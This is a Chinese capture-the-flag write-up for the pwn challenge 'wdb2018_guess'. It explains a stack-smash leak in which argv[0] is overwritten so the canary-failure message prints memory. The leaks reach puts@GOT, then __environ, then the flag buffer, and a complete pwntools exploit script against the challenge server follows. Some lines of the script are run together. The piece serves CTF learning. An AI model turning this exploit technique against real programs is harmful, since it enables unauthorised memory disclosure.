本文主要是介绍BUUCYF之“wdb2018_guess”,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
简单分析题目:
开了栈不可执行NX保护还有canary,分析程序:将flag读入buff里头,这里主要是解决如何把flag从buff读出来。我们使用stack smash法子。细节不再赘述。
说下利用方法:
- 将main函数的argv[0]参数覆盖为(存储我们想要其打印的字符串的)地址,当触发stack canary时,相应机制会和printf 的%s格式化字符串一样的规则打印对应字符串。所以我们想将其覆盖为buff的地址
- main函数的第三个参数,环境变量envp[]也存在栈上,同时在gdb里头可以打印其地址,所以这里只需要gdb在gets函数,strcmp函数这两处执行时下断点分别看输入被存放的地址(这里可以从rdi查看),就可以计算偏移量,于是:
- 我们先利用第一次泄露的puts地址计算environ地址,进而计算偏移泄露buff内容
1是我们buff地址所在,我们分析程序汇编代码可以发现strcmp函数执行前将两个参数:buff,s2地址分别存入rdi,rsi中,如图即为其地址,2是最开始argv[0]地址,3是environ地址
WP:
from pwn import*
context.log_level='debug'
p=remote('node4.buuoj.cn',28503)
elf=ELF('./GUESS')
libc=ELF('./libc-2.23.so')put_got=elf.got['puts']
leak1='a'*0x128 + p64(put_got)p.sendlineafter("Please type your guessing flag",leak1)
p.recvuntil("stack smashing detected ***:")
addr_=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(addr_))
base=addr_-libc.sym['puts']
environ_=base+libc.sym['__environ']leak2='a'*0x128+p64(environ_)
p.sendlineafter("Please type your guessing flag",leak2)
p.recvuntil("stack smashing detected ***:")
envir=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
flag_=envir-0x168leak3='a'*0x128+p64(flag_)
p.sendlineafter("Please type your guessing flag",leak3)
p.interactive()
结,其余分析题目细节看其他师傅
另外还有个比较离谱的是这个地址偏移量的问题:我在ubuntu21上gdb调试时发现这个“s2和argv[0]的距离或者是buff和environ的距离”都相较于ubuntu16调试的结果要大0x40,,,,,,,离谱之~~~
这篇关于BUUCYF之“wdb2018_guess”的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!